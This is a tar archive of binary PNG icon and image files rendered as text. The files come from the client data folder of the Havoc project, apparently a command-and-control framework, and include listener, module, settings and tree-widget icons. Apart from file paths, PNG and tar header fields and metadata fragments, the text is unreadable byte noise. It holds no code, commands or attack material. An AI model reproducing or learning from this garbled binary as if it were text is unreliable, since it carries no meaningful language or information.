Q7%e,/-y5IH:O9p@gjucprޟ]Vio*^w|O3-yɗ[WvoWI7V_VcķLItݜ3Ek086gs#Iv۽fϫj{{9.׈\ m5oƷ$|xι9Dd[E/ޫ77!gt=owH#wcp:NɃdޒ.Sd/%%%I!Kcp:Mܷ}FA|A~3O?Q7^딷3Kjߓ)ל&i;⋗u;DҚ6D|-\k- eι2vc'xfgx9 6ƿ#kf͚91 Э 8uKZ%}*"~@Vn E{V//޴~5_JڝK 篏v*ţuқ#5_zabeVGktSNk+&!x9|lBRx18xDҩζ%x9HC}7@x1{w?;^ޞwwhѠ37V5{j>H̙3& ؁E!xK$@q„ޭ^ wI: H:xcpZpӧOB2OgŴ͟h2JD }xrU*W*m^&%1^.xP>ă揗q{atM<2;g~yuA˨߷s9/ xx=ă揗Q/6u^B<2m=+O6x2yn5\!/޻?xcp zI; 5~V'9{ι~ˏHY ?)ib_JFZrd˨w|zR9: 㽟Fԛm4x{EؘWJz({EG&Y e0>.[/$}HҺ73摬xxx.2Ow"^^7+/͝uɊW`FL6%5$+|YS_J=II#\xxxe⃟Ϥx^Hz8cS$^Y ~Fx%a5Yzp\xxxx:`~2eQ2$}]L בsVݏxMҺ4HڛUV[ax?nI\xxxx#{'On1?{H;o$&WϋG:^'>|xEN4$E$^\kb6P]</23n·bG?O2%gYģXͿ&4>"ɑ xxxx{W<{bQ/I@_# $]D"隔H<<<Լ%rs!}JgSn1 xxxxy -ժ{|6s)6Ʒ xxxx)zι-#g{s/$I<<u)$ /W^##IIJ:ɱe>|ڴ)^-eS{l/^#{0|K|@);?8xr52{{ϩժ{I1kt?8xwK꥘y7t4_3^D1ޯyo~HoA,M=+7= 0 atsoL+<| 钦K/ {@B O=>*VoyI;/g8_3g3N1IҬs=s 0 \`24I`4WbI:yKkӬ3]=tj|^\uι=rxb`As+ywk٪|$V(_$|ŷ?>pW5_XAs\y|~˃ޘN)42? ̌ߏʾdȟZp/>2JzsO˿'$j5 hOs-Qczz{9T*gTLfx܋\yK$]{Vӑ[dq%i使dȟZ/>r8n@=U5d:b =$+͟ZuN%j4iιO#hk^eop){op&ir*ɒ0 moI.<&\K_xa(fIt~/T5?hcN$h_"_obAmoG:vI4܎#h41=_,QoxM4}Z8gqUDyn5Z{ x ~ƻ=,._v 4Z/8dKۢ v6xzι4ޟgp5$^%n2\$gqu˨_v:Ow<7o40\ᲦҸݦ9-uY\mݴ@}蚧6\m%E)42z?x;/^">! #-&#t/A/Yx?xgv_v@cZIx |d'ɀK=Qx yˍݥfdtKЋh{I<"/!C=֥U[^^DO#LQx yoUN"gK %2~!6~K"gKл`>k0 ^B^D7ʞ_ ӧNS&^^Ki&^"n^,5&xxIxa.Yxe?xD/^R^Zy|PTyF$^^?19$7a++pU3%$^?Q.$h^5ܚ6ѪxdkˋW']J#~sݪd۝dKh{%LQx {?1s 8%E4D%LQx {id_N"9; #~`0>gVιg &G,عdkӋhyKڂ@_l-&jrM/'⭕R/a}ʍ><FI$^^Do{"a.~4а[d4dkӋhm]w_YģiK;`~YۼPO4h0 HA2E41ww|Gtfpg\z0M2EF͕xس"xIzK O5:dkËGWX8 5#}+NkHE2ӋNr{?D/aH>"I4G2Ӌ~S',^C} $EFr{tF/aݣ}W3d@W{\Uo,0 ZGOyIIhі_WW׎Ø]%%%?[#/)/eg x-zѢ-J$=:{T%?[#/AwPR}1|S& x-xѢ-nF9=ST^W9~4ecn4|gH(lT*o*pYQx yUc٘c& VKA2mƋ{.:'xY^ft}X6fr|f?G2mƋ3^5X$ e/^BnW-HHMyd4oL;y?uNv_vFg>f6fGIO łHlza.9sF;;\otA,ޙSQGD YA:18ȣ#Ya"_ 4$m!apވ깩!GDE5c~:prI|z;IItOH!I}}ݚrE<"Z96h8÷#s{v7IǏDgzOzQXl+;_HH1}/XE<"^WW}W#)Yo`O?҂X[%Y Kp$G({QvZ~cHrZP껤Tuۛ_sέS~-iOc^d_63}߯aP7^16JmUo0 [ݡ~ pKz6#,_0aB6S^d_oOQk?`uM[oҤ[x3Jk,xϜ0w6Ŕ|{,ع+:n A}4ڈooC R?<~aVClv_Yk,[2PL^dԶ7 ^IKZ.鏒9tG`ԛ5 ꣑@|{mlۼ:~_/C۟bYLo{[֑ne=tR̋[kGg1Do>J?9~I_( 5CnS^d߂_à>? ~syIcЃhI:7cnm^Ulˋ,[ksg1Don<'͒nHxR´/{2}^ϧ8L<A>7 ADf g(}28}sg5A۳596/ e-5 Q"7ބ?gi7v }}xr H,~$Qksg1Do漽%}CҪ lH$;l?ABm#=s:IHw)ģ0FAb>Lx;Iv f.S[^=2xVHſUU-Qk$? Yw ⃨%ݘִn+KzM6/ * pYWWKXQ< 7~I~EAEF4T0^ OٚIz9nykC ſqmQbQrQ _Ƣ~#u^_߄ ?+}_;J@s2gA)sNBGa0 VZ|FFWɲy wl,7Rize>x; åIґ'$}A޻ď][y]T?GOs[z<2y $/=Ҵ(/%VRH\moN:|ip>Ea4/Ii9us.5WGF[\(|`Qoa.K0zb+^2{ 'O#YxdE9nKE5!_h6ރ|}pufO$3}xdE<30ȗFzw/4 %ME}pk }[KHlmoa/"_|'+\E$]Ng>h{ |iq>0(GBOf9J{}7tɟ#-b>7 Qޢ Ϳ=ג,B$Yoʞ<2"s _,-Q'm-C/WV{(iw>h{ |it>(GBOJ)Jϓ=c#-h>7 Qޢ Ϳ5ol~yItSI|;}xdA4 :X[|o{Jf hxW*p1u>0 ZloAQgA7(GB{P҉^a?Yo% VL< e[|nYy ιsk3PL<2~EKtZ?ނ;wuuu͏O$8cs~xd4y._w ,<%_rx& II->xK$(ՒQ҇$K+$윻3~?{9*gGFQeh`ςoQ^%#U|q#tr?5sN?^h2*y3̿^K5 å//9/2:)bp$wRu˨_\x ^N4dВ?e7//2 'Y <~18x9" :~$xE? u_{ ^N֣ȽmFWG/^=/^dtq lŭoGK΋)F? &h ^hі2߻h%?Eo"揇Y,RF8=_u%Tt!]uuFnZADEV:JAEPKX+RЊڅ~'13B]{9wF岉m<|>7dl! 3<8.1wf~> l>2d29bu],0/łjF"\=iw %*45y x]Ϭ!F[C9sPɋDp6`";0$ ;*8H8!N6ɘ@ks)y4^)ys^u=1WrJTHn۶]V*'6hD!(pBx}u"g)5<ہ9NS)NXVKR}GU*E/> ɯk r]g_*RD9Fl>/c4Gae0el6AJe4AGD|'f+; Ts dȊ88ԏ/ XPʅa@czCƠouW\3Mf 3E^G @w&uUSA5$|ІB!EB!lh)*X5( V9-٠Uk@H&7NENGgԝdHa$Fa[zX!ֱNPZɴ/D5Ko$bx-&)yF*)id'|4juAj۫s¼ET- _jkFэD*W<ӎʼZT\䫍(b'C;y/r궹.ӆ~+j]h GԸ5IENDB`havoc-0.6~git20240910.69ce17c/client/data/img/listeners.png000066400000000000000000000010521467014221700227460ustar00rootroot00000000000000PNG  IHDRc pHYsO%IDATx햿Ka_rYhADš@ Z$pk*i뇸8\.>ǝɥ ^×>ϝibYzJrT(.b"=̓,rYD"6 D"ǟȓ#:%I^ߋb6T*jn=7F=̓#:{J XNZVkpypJxGiډ ]sDo4/"xYrNzSp$?y:t98T=<%~ˆNO <_vŹS.|)7O uT{7;vWk sٴ.,`C}SscK˦/WTV=>zTƖm]Vsk7ݐt`#V']+E[ί_G-it8; GW?\}cC^M[z·~$8,o둖-\S=/T8hG5''vˑ-6_<&M,Zz"]^[)XCSȺS=zBu½izGn /n 0MWt I);MAwβc<+\p/o"՟4wmzS;6M/,>?۔GWt#̦=h:$?#sRk Z@˥MVn\EOZnڋm!V~:iLKky^e+3X{wm:\d|ꯪ667S- o: `Ქ'M{Mhz&_rN~K_ŞwZ~^v# UO>귚lĖl_]=<'jVj ` ݪzkMW7]u[=Gl{)t3ϷgѦ 677](1$zUMճlί8ӘMs[dwvu˙x^귓T7iLM~N ~o/7Ә:տ'V[r10_j%w6Vr'6`V Mo`}]V{uN>&3f K;V=*Nh/@uFú8`ۮΩm4;n:šV{S R]j&mL=ūs>&[Dɼ/V}:eEfLufKuA^08-sf88,kuoNlĮ~hq՜t3xڟ_Osl_n59`}K^gLrlq^O@n08'UiOMدU9VCo0 r7MxkAPŜ6ǟ4~y#`Qg:`#_~n2IMFnWWs{Uc'7,tmkYG5Pԯ:v6~{#֫; Xl6YG6vb&as4N*Ϙ}vg7v={urN(bN7.l6|YG7v2yCOl6읉 ݡQlHwBmWW:`qw@c=on\]ָ ѳ]۞/n4<1o%}`)okmX½K5z/m37a|:fai#~9]/yۇ4ȷ_w~_߸cKwG MX'V4ka ݠ~A;qo¸i"#q̽ázmGVXc#oxZ 8w ,lOZnts6~n/!PY]u[\wY+\+M6mMskZ ^؍3w:΁/u sLmNuG櫚Q׷\t[cF͇wlUg ? 0Vk`;V98Υo6]%:꬝m[7lUTAu6I~P%FͭkG ^Xչ:kgqüGwXҥl9 DH @%P D"T*@J @%P D"T*@J @%P D"T*@J @%P D"T*@J @%P D"T*@J @%P D"T*@J @%P D"T*@J @%P Dإ]WwYnn_R]T}z ųw @պSVs[Wϩ3;`W8;`y܍T?T1ൗsG,Ϛ8U=:zVu՟̝uDkgVΰTk[O ‘;z} MQaD8|Uڴv}Pva= M ~+HU/k8Dq .>|SSPt#i"cV^x@|K7qoK7D ĥ8Ot)"5cx^[|".a8M ݢ'T7[ XwOهO̓l: D8_~/w䥛˪\ XgK706'U\æ_mכT^ XW~K7_XW.K7g,+wXm !a6QmvK7J ¾"msBuM:o|{IK7H ¾Y a.Yh` DطK7T.#vMuMMc@{ n֕@{ 6 , y`] Dؿ/`{۾10;nbW_ XWK70sn֙@K71-3ϗnbWZ Xg/{t"\WX#չK7N ybMs^.p"TmѦA {y8Yt&`SD84?Sp&_V_ $5VZxeK7D ¡֦{KU-l'nb~M&pu 6@"T*@J @%P D"T*@J @%P D"T*@J @%p$Y}XǞ`#D8|->\t"ϵ^xIuMpd]ky &pd޺tM&ȼjon6@#K7t>K7L ‘EK7QM&p~ڻVO]p"V_pϭ~V0OW.~f0Gy{Λy"I3q}"7fX2z`0W?U}~~z jî&a5Vݿz﮾݁5VV?W}|*ֻVoVʦoW=zEU/ovtK\V=kg^uꤝ{sov/z L @J @%P D"T*@J @%P D"T*@J @%P D"T*@J @%P D"T*@J @%P D"T*@J @%P D"T*@J @%P D"T*@J @%Pmw ^1Ƀ,F\>@xPT`ITAu6⅃4o?omT2oG[QGmݸ aouU9pnXZӜ5r|會QK7bbu?]=zY O6X1ͪ5zTu;Z@S}ҍlO5]qYmʴYK7amb-kt#siMGֶܶ!VזXaXcꔦIK84T7]LՎY\o_ _nbeaKv$.vS VݸzKuҍVw>t#s \MDmtq0UonX5teӎ[ndn1_mSKy7K7v}}V?Ma՛nd)u_kn`AgUwoaD]մǸgvfsyǫ eq;ͦlmzQemC_쟚@geϛ>"a :[V?P}u65MPabKGDvIDATxOUU?)R˅Vc"J,ZiUJ̠2!tF"3NMΌ:N3ޜ{}{wͽ{|o=ν   b9p (;:ýz3[^?S]{P7۱p$#H @!`x AG$xc0J~<:3躱51 D'}@v22B H3|@n :1?e$a~Ha !8C K3l@`g >ϰ BQ74?N$5XƲ0Q`E|rdzS 3L!찏ڵ804 =;l>TBC:0@w|Z_KׇZyݰv_k~HX׵OYs~ !CvrqAC 6YYwlpA$c>^m2z3&ə$͇ AC i!@$o>d.v!OR`/0Y0[֟mw5oiCnG[ӿ~E/X'*Es9w]ǀ۴7Aˀ_r1XBp };K3xbϣw&0Hyvs*h:U{)fjn~bOZkw}>g EOtT08[|iطK~*7ߨiFM/ sUԜ}c/5:t3ǿfM& )'^X~-fuVM{XR!z,[ 5ڗS "vb ]=B͂ؿZ[7kKc;mu:IEop-.zI05.bo{Z߯Y쿈/oY,ۡ'*>x_c2ķﯰղF;_*~JG1BoOG*fo>~xZIl;i|H'c)Ը{Jg1[o Ϻ &Q@ޮi;霴ZT-OPqa[oЪ[|5ޮe MsjHS }d_Plo Gc6ķ&MKw*ek1Bﴦ>)6s_Yp5C햢VSvurIzsl =O妀Pk0 Q]Ӽ*x*7:lس,# A*nH*dR K*m p3Ap8CHܱu~,X8T,&azp5yl\HG8O,;wtbӳ9)- lE|c nA蘦@c:[.V 9^WW@HG8đ$ q$#H @HG8Up vmvjME )]zzen.v1@HG8Up-l^:(y/P|/ڲŮ,69H @HtGIfcKzRe _ϼ"zw竍 s ˧|M/c-AAR0EyIENDB`havoc-0.6~git20240910.69ce17c/client/data/img/modules.png000066400000000000000000000013641467014221700224140ustar00rootroot00000000000000PNG  IHDRc pHYsysIDATxkTAKsИ :Y$`4+FbqCz xB\b2F0%zj{dB ~{5U]DA! -z dAӠؗ.׀|$~.F`5x 7vGaFLfA >{Be2g'+AF4#f (Xnw@ P&E!, f`I^G,;7`/v-h}5KTcM7hx''&m4Κ,'0 WL^J!#gE[)Y?y.iV #v` \@,{0> Eۯ2?ϙֈxab}^P$|ˀ/s$Mp Dg˴e0jY/xnpb9/Y)z%ۮ2, ;[P{$.M? bd IENDB`havoc-0.6~git20240910.69ce17c/client/data/img/setting.png000066400000000000000000000020061467014221700224130ustar00rootroot00000000000000PNG  IHDRc pHYsO%IDATx7oAwwfwTa0Tؤ|m*D2ɈTcГ Q*+AP!@#273{{> [I/߼tR_($f?*$*"9h"~Iqڐ)>S#cc<LI#CGe YzB; P(%{;t {Ee#4i"T6*TF}b'ήz̎렉tX/WI 2We+noˊrj@LC!e M{+s;$9Ygo&Qy=d(3~Ĺ2N : W 3r 28;V۬utRA7E07N ^֭}G&sxBC;@!OdfsWLp<#9XʂprDz?0~-Y_䵉\hɣ5tӹKB$!'vWp.^>B]z9?{ sswhoef&WPd0/Ӂ^ʷ GTS ` PZ`gRՌ!覆2 AUE<oz B̕I6rqÕ etLyjd(o27٣]Jȟ[UUba .!;ק/|R1l57kX+8 c]ujJ*RUu0WMŒ,*<~"Qso k(Q;BgT_H3s3f댥TJ8x{|DQ7 _+kD_+&FiPI$lyܪI^)Z|+As }IENDB`havoc-0.6~git20240910.69ce17c/client/data/img/treewidget/000077500000000000000000000000001467014221700223755ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/data/img/treewidget/stylesheet-branch-closed.png000066400000000000000000000147721467014221700300110ustar00rootroot00000000000000PNG  IHDR _ zTXtRaw profile type exifxڥir:sq5bn0ǟ\gJ,Q\DϿY\UrI44.?|+̿wxnEi_Ըʿt$OG?/_:z6|:ҧ˺Ju }{bK3i5'!{ ӈ s4LOqz}hM5 ~E}E+I:x3*' _?lsחSY3h,c)vlhqL\L!3„cxO~_<`),*! k0;TPQ@q{nxşa&<=M3Tz-Wla7̀'1\#e~wѳTx4̜u>"LlH|̾P'@BsL2 Hy4m} $r, yX)eScN9kXRɥZL[5kJ$J,E4 ͬEƘo7C=zKiQF2tf,N: **.Yچj;ve-[w{柴zjA-a}Z?&'0jf!g]Ȋd6̦7@0-عp#j_p +rΠKjnH{nߣ, y8m]nb͛|Sa&0ƸXA"$'߂ޤClJzbi.PE'D!nW{KhSEս-(O[3{+ 60 4څ }6 /knbUR_1mq꥔[=Z94ؓ-T*%*OlgxHs7hyj^Z9J!R |vL(ޱUa'fNFRӰr=s蔵6-Z.c~0ie>T\PpkAY ol _a9qjʹKq6LQ\1eM~o넦<H+ъO5V UW_RzD3kAF̴g $( ZXIezu^hu֝ZDDQ`1ܨ-R#g{)dBS$>Wd1/< ayܰf4!DxEi6Q&*]Nv FD1AX~ӹA%ϳ/Ȉ=ҎZ%ᆊX1BpI7S+gh&K֠af_$a5(f4<"$c& 1 Aq ؋Pbwӱ蘻%ʴFe2 x Y[:hqp8/lrЧrd'OQ[߷;]X]8&cNj1kV+'2"1Rx 3a<'/9c#[qyÎbNQ"¬cN4Vk{8I$oݺ~Iz`bݴ؁̫;՘u*W{ c3 3<%81uTHNXMהFӕev͈Xpt~*&7l B )g(`י eJyЂ* WWDy҆TAMn6q0|.20nJ?e,q . k;)/ > 1ޠ)TטG# %ξeEYQiD_4D&&ዽQ2gq=JY@86KC#۩Ԓ#Sqs܈k'~X;wHq< ҜHl '9ܦ!/K!W  @l䄗/1t|;N>Wz_3ZZ.[\'C6eW R <~Fߔo5ons>iU88F {9 r:I iTXtXML:com.adobe.xmp ,hbKGD pHYs##rAwtIME  b$OIDAT}JasK[!|Ibaiaac' hlҤ߅X'Jԅ<{SsW+@&{@j:Uǧkqhor3HiY^fEY^Ml k.q$qs@@QB!" _ {Eh=hnuG;@PcP@u=D󵤦oQ2QWʑIENDB`havoc-0.6~git20240910.69ce17c/client/data/img/treewidget/stylesheet-branch-end.png000066400000000000000000000002661467014221700272770ustar00rootroot00000000000000PNG  IHDRQ::!PLTEcVMcVMcVMcVMcVMcVMcVMcVMcVMcVM tRNS|Y:3ex/\?xU9IDATHc` āQ*GU$0v@2mi1(` YTIENDB`havoc-0.6~git20240910.69ce17c/client/data/img/treewidget/stylesheet-branch-more.png000066400000000000000000000002101467014221700274600ustar00rootroot00000000000000PNG  IHDR5VqPLTEcVMcVMcVMcVMcVMcVM_[tRNSJF36RSNIDAT[cdF`ddNqz~IENDB`havoc-0.6~git20240910.69ce17c/client/data/img/treewidget/stylesheet-branch-open.png000066400000000000000000000141541467014221700274730ustar00rootroot00000000000000PNG  IHDR ~zTXtRaw profile type exifxڥk6 s]~dvi\S) P~b<\UJ+ZjAzt~^q}=o LEx}rנ\嗍>ZYF(o[GiR_]0õx-yT̜CXǃe@?r,`׌-! |qfjZORď u3/''G,=e>ㅦBu#hqVس!aw-z@ ;}ӫ~SX.T.B hkhaD/PpFşǶc4Yx ٢l)l:03^97 D1 H|̾P'@!A&Fc v4T. 90G@"+ؐeR?5 s9\䖵ĒJ.b5j*U(I"D[h̭ڤʙzgK]z:H#2ц0D?fulS_PiWYujK7T.nm޿Q 'R>Qc$f\ ^ S6R0 Qlb 1Lˇ;.D _s/"#nPzVӫXZPHR4džb_]H>eY}{ٷ U@q kܷ`Axl]4ZPv"q'gj6 yyO@7SױћSq}E K9I7\e|džg\:J >w,}u\ckp˯\6v=@;l!UZt栚V`exxPXxx%)ܼrpiDuޮlE4īKG]cN2F"Wӛ[giۈ:*TR97?59:0ԁ!Ƀa={|n>hu+شD+fZWc=AGger39}nwr5{=ՉmrO B`>pgiiGe kb@funD\dW+dfsGw1ի,DYf6mp' #8\xfL#b6fES#"NBcg\e> 9}eTCH`K BA%a#FN}_"B9PZ /):_c|;N>Wz_3ZZ.[\Olʮy) =kܚ8}4 pp({]sNs~?cryE*( iTXtXML:com.adobe.xmp bKGD pHYs##rAwtIME  sCIDATӅKJQDO=QhB6I6@dG+'t'(mrЉ X[SW Ҟ H SvQ]m(H `R\[+y99>>8E8ONjL-Q[D'z nvhmG'v3wK%?GxWm`(UiKK78Je^yQb߾k*@yIENDB`havoc-0.6~git20240910.69ce17c/client/data/img/treewidget/stylesheet-vline.png000066400000000000000000000001741467014221700264110ustar00rootroot00000000000000PNG  IHDRQ:]< PLTEcVMcVMcVMէ$-tRNS|:3tHIDAT8Oc`,`TtTtTtTt8wUlIENDB`havoc-0.6~git20240910.69ce17c/client/data/img/users-icon.png000066400000000000000000000322621467014221700230340ustar00rootroot00000000000000PNG  IHDRx pHYs   MiCCPPhotoshop ICC profilexڝSwX>eVBl"#Ya@Ņ VHUĂ H(gAZU\8ܧ}zy&j9R<:OHɽH gyx~t?op.$P&W " R.TSd ly|B" I>ةآ(G$@`UR,@".Y2GvX@`B, 8C L0ҿ_pH˕͗K3w!lBa)f "#HL 8?flŢko">!N_puk[Vh]3 Z zy8@P< %b0>3o~@zq@qanvRB1n#Dž)4\,XP"MyRD!ɕ2 w ONl~Xv@~- g42y@+͗\LD*A aD@ $<B AT:18 \p` Aa!:b""aH4 Q"rBj]H#-r9\@ 2G1Qu@Ơst4]k=Kut}c1fa\E`X&cX5V5cX7va$^lGXLXC%#W 1'"O%zxb:XF&!!%^'_H$ɒN !%2I IkHH-S>iL&m O:ňL $RJ5e?2BQͩ:ZImvP/S4u%͛Cˤ-Кigih/t ݃EЗkw Hb(k{/LӗT02goUX**|:V~TUsU?y TU^V}FUP թU6RwRPQ__c FHTc!2eXBrV,kMb[Lvv/{LSCsfffqƱ9ٜJ! {--?-jf~7zھbrup@,:m:u 6Qu>cy Gm7046l18c̐ckihhI'&g5x>fob4ekVyVV׬I\,mWlPW :˶vm))Sn1 9a%m;t;|rtuvlp4éĩWggs5KvSmnz˕ҵܭm=}M.]=AXq㝧/^v^Y^O&0m[{`:>=e>>z"=#~~~;yN`k5/ >B Yroc3g,Z0&L~oL̶Gli})*2.QStqt,֬Yg񏩌;jrvgjlRlc웸xEt$ =sl3Ttcܢ˞w|/%ҟ3 cHRMz%u0`:o_F)IDATxƵ#4J`9@84B#8 GcJqhS]eAT~Xo5            P7|u]\\"b[4M; tH;w&N_mD'"W`:"};&!4Q@ٝT_FD;T@@?Y>KD."~X@@piN@~V0p9q%ʅ1l"7- i]z;⟼^?ﾴP@`*s̛y>,fh;;Ϋgq>1">|* dcӟK+Džܷ]D|qs[qcDZocecyx7D"]D믝@`#]qPjF}8~-)[ [`̎şQUDuKzwj;C_\;r  @`?y5N?' |h0g9yZ`)1^%G|8?U<>g6|w >mDZʎ@`h3{+y.6SO_mVϺ nvƾ P;hQ/{+zFs*`Uy zM׳y]~"@p5QϜ xNn}sH֚ Ljxa۠ WZz@u <׹;Ln4 @SW@^/kEam5Ŕ"0 2e۵֘.So맨cwP(;֘S84f:յˑm_ h@Xhs/'r;vЗ\^slw^M^yŸ.lE.Jٱv2f_9 S'~릯t~w}U`;s4+wBYG?S9<6L_8BggM#GaP_05Rv9mW)m{z:6 _8]нj@Հzv@υ@K2K?BMXPsrV8P&߹c9Id_ |d ڞw`z/MD|9wAou7A`ik-/xA\/1;wFUOg܇j{6b4 .uwcs ̕yZcB]=&|CT@Es3?^ǿ Ѕ]KP(~Xǿ `qX(?U$@%?G:U ǽW1b.|Ras.`w .ۇUSy6㼅p5?qm|L ;Z~RȺ|N9(8X~̫Ǽ7gfM t Z| lks{v^Gĕd}Ao?huu?QnPւTՌ:/xWq^_*"~ϧg`mITt+l]Emb*ˬ4MJ+W#p߅/-Em3@ ?[Nq޶żlWanXqOw^>sQc2B@!7|"iKvi(~~VH}enbأQte?c^K~YGdީ GxY|:kbY!7Gr.p:/ ?n >ۂ3bO#L_E8y`GoTQ lM}FRΟp(pUD|0yU _EΟ4͏F[w xo pBpB@Һ  o1gQ=JtaW0uLT[ u 00 43Π+VaX^!Yv4(b:M9oΟB@|ɗE)Qws &kOX:O8c;sWFU8M43𭴬0C4.#w8Ve~5r0k##/xl3L{O;^ _En鿋uHѱ0P{˼߯0]~e?v]WgNV+ y ]o5SOMHFč*o#6rݠDpHaXD^G@?y)#CC] Gϼ?Sҧl{TIwձ_q Sȝrv|2S[Wb$CUl)y'Se%f6`U˪"J`dFTÁQP=Wg.n"[~-U{ogF#.lSxa~!cX;"xUK8ʜz9QԢRF' qpPI1 Tm89Wwv*@ao9 ?7-**kAұ'9w ]D ߎU@E)dKq 4Pdz΀*X)^}'\jm@mNLF<j?W6y$]5GIL{PHiJ\`x X[)T!qߩ.Kd=J THvl6赑3 Lk cWII4sSNslvP`9'W"AS;Y?V%{F4'#?lp u;&\C@M僦?ɪ!+Pfƒ u)bNIW,O˨ TmB OK5ḢNU40yД)ih@~MF3 Cx(×eLl|"x+ 2R?|%$']g)듸@@L))pn|2' &e/7|PA f1cxf104MVXh߭:u*KS»y2F:x8 0S~Ռ0xhAԫM 0 @VkYxRQ3(YS;4PLWNV3!5z8iFx̔]QR0^` #c@aF3V$5[U"kg ~zi u'*.L(0_I;$2:RJ}*ocǿd0!.քO :::#I#G[N ȚiJSJN4M9Zd,^jJ(-~3oE~⃦}JN^ 5a@CY`lFPTzi1 DDy#"hN:ukٌOZUՇ֔,eurToG UWs(к:B9 wlUUIF',F$d=[U~<|3oA d:TXZq9["q<GV 5 d^ߊf.`jU}DTA#ǫĎC{3#"^iU@qbF>ZV u9[#rӠFWaCuDl/i_~qtM8 q#o߿MNWfu8+~ʝ*">&^s9TNUu.:mwb|o#ofD;g sd_RSQoq=ueUO{UIqyƌ_ *m-d:r{V`dxك\/2q8ox."^hV`n"\ S="C1N]G.o9W3;uwвݿ?4͍#穀eBo"؅ҿ U%;-;-n~aϿ*!"2_Z~Nj@2ua{;U)_Xv ٕ*ƦB_XhsR#֢A;M( K&^r@euo3rviV+ K=9ᱝ.򷌽yL߫ťETЉl")|(fʝn yDSE;UOS̜~s޷MDV o'B@eN4E`` t"mhr/Slr  Ցܓ"Υn{ve*6(pϤy_ eKrTl{vfko|ￗ7h݇(wQ|6"[Ä:Hv˂ivy} @%Ky:@%)tm2V~\/Gs/?:."WO_([~Q ɏq>T%`muLGr+tji*_9*6>Ϡ EEB}WQUŰ* @e䟫~ {u32j<^8A?` @ιdBĶax7?*q{>d3w=B.ڨ_.C`W6:^ &y]...^emjɌoڇB`&LL]2ܺiilzQ~xĹڨ_|0P]B@Im}N4N7SD|6N @Y"Zfmbbt; 1@O8cZu*tMoWP Щ<晱owq^OԹB@۪:2"En!98 B/҇՛iQοF}XO_e/'}5ިnanD5a@eЧɾs;00թc$vS2ک1/o] e69UpN(QU߇ -uԯ*P׳iM{72󿯮ܩE {Ň$T ">cR!>ZPW\l|{ُ|;@DFu)~8@b K^E=A^s88f֝ZJ5mGwKXJr/s6p1l0"@_Sp#:GvS=8F}t[T6xHNǼЧ8U QƂNԧ6U Ϊi]>mPz&NJ0<3sLtGhV􅁩E*{^qޢs|\֏dwk>@ϡ1?+t.p gl/a5S84 0jGXm?b:1{5>8O ߁]tmP-\wxM_rCf,uj?E}xQ^ݡ*:!(sz?x/H۪?1L \f u<c*'*}M%7K?BgcULۈqI`>(⼨ȍQ߽~//T?b qU"EfS17a`Mշ#=7MӼ=~Կr=:~Հ9=>lGx80( N;~BAP sqE,3#Հf5ƴ)TWXFb@]6_poP SX܇ v~|UnB> T.@(󠽍Vw2kk` M?8 li!`__4>g }^A`=?~f<\X Ł@t?L8O~pƴ1f,lc.* OV1Bc8]8>݅Cfgc),Kgam׮bX&C:8̾/?`}u <Y8KÖ"V5@p <1]߅m}0|Þمu5>}_9hCbvAowG*"~98F}]Ҧ)+#Obj@.9x}u(5W1V}z.AC/1\ߨbþ rg` 9{k>￉uPinb9?Zg)ɬ* :&EgȻL M9Fş,>׈y.'G,FA]8+g ]߆S`Pu b3:&Hb;Gr:Q~z]V1AB2C vOXrG6"ņ.p.v,* .b!{_9' 0s@璿c7?}ϣ̩?]`ڂ}ٙ儀MmTUO .XWY)Yn!裸;8 vu~v|70PoSP\Z"\8PBJLooR )¥.,>04e2ʜqgIL3pPP:"=f @*U_wХvuF@:VQz*g8K-hÊZ`L){ ־Z|7uGbU8&ź|pgJ_IQ="Ƭ!)SmD*JGYPpLT◈&_ |ϳw}~Or @ht_[5W^%U+b/+/su]Y JM 6P]8T8ȭԜ<`1):`SCD$^r$G&n \ZLC8Fi8Mx}6@pqq#'%}oX Wt @yWMxĀ)ptl ~_'7Ms:1Sxt%:ruo|ٶ?e `BM-ZknoRz: 0p"L ~c*٥."~4̨Sc%WQf59n"Puw@&_ ew*N@VS*s7J#< PiG~At >%$ԗZș:usӫmD RgTnO}T HPl2c56 ޫW4w?@~ZMVkV+S% |pxnv` 9 x_ 2ҋOsH*@-^s3UaP8EN֬)iuTb|.l2Rpfu 2AF5MQ1L><{Hx~uTV:?)z` Ipt&UXkjo2R?pڄkl5l@ Yh/a$Қ9JhF):1֌UzSyFvvvQ#BYZZ""YXX7輕jccd!D"MrrrHVVoaay_[[;R]]=X\\?OR?qCCC΁ vA aX,6WVV-(("J[/:S\'U(±=h4^j2:C "D"CvkV{-555ӈB9N%H$;&}L`j* \?dlDpA ::>o6ꎄ^ e$c'v1!VVV \?/4%dddNWP(O l1/nv 'H^}4ipDaM d^!")ۏnhh.dT__ u2:'@2)&^GQx E^fM4VnB,#\r ~@ #4H6d?qTs"CW/oaҁ`}&B)9~'xWdDCz&MB~DRʆ ?febP @tv}ƍϤk"1vʿFRPP#P#Iz[`h҅IENDB`havoc-0.6~git20240910.69ce17c/client/data/resources/000077500000000000000000000000001467014221700214705ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/data/resources/Havoc.png000066400000000000000000000471311467014221700232440ustar00rootroot00000000000000PNG  IHDRx pHYs IDATx]]Gu^E~S+5OU`T*!~iB\ 0 A5M)QI)MCjh}#C}!iIt!uHߚS}85? cϬ={̚lfk71G俛>^ync5s{lcv*\_B/; G 8^{‰x#6#C /ep ꫯP0&ĵ^{?ƎANm3JPpntRW1W8c0JAdBQt1"}p X'DLjN{;   !Å?1ͼKcA y`,@:(O6Od_Gd!P* AP1l6ٌ`@J6+NO Ԁ|`6/lƚD뮓-z ?=:]bBT&@*ӶB Ԁ|2Ʋ^AT8.dѳU5 _,nx u]wpw_=&   cٌĞ!Hτ(û  cEgAM c1&C#tUPa 1!p8?3wcK ٳhqƏujN`K pZ!={6 o5`<:b|+'{9S﵏'L=21-j}XR{>jxPt»1^+`{9\uM{pn@ )SX׊U;Xo #R_X[[} l؞]z]|o`1ξv \buL :e1*X`bp3Pt20j,W%P B`=e_P`8r3>B P&6L]ؐ>g5E jN 3!c$xb&lll0Ƽ\WK0Ԁa&b|ډ7aƆj~Z~)$TBJ oXX[[{T `ccp![I ؃~a`LC`@ĔM&8^8Y* k1A$J O"PPoX`M*i 胼8)Xuȱc#5/3%G {5Zb"O)v i΀R۷osmmځڗaӎ.PC/Wo[__d@Qo.%#3a3T1Ŏ5 _o)| T;ݵݏ"a_X 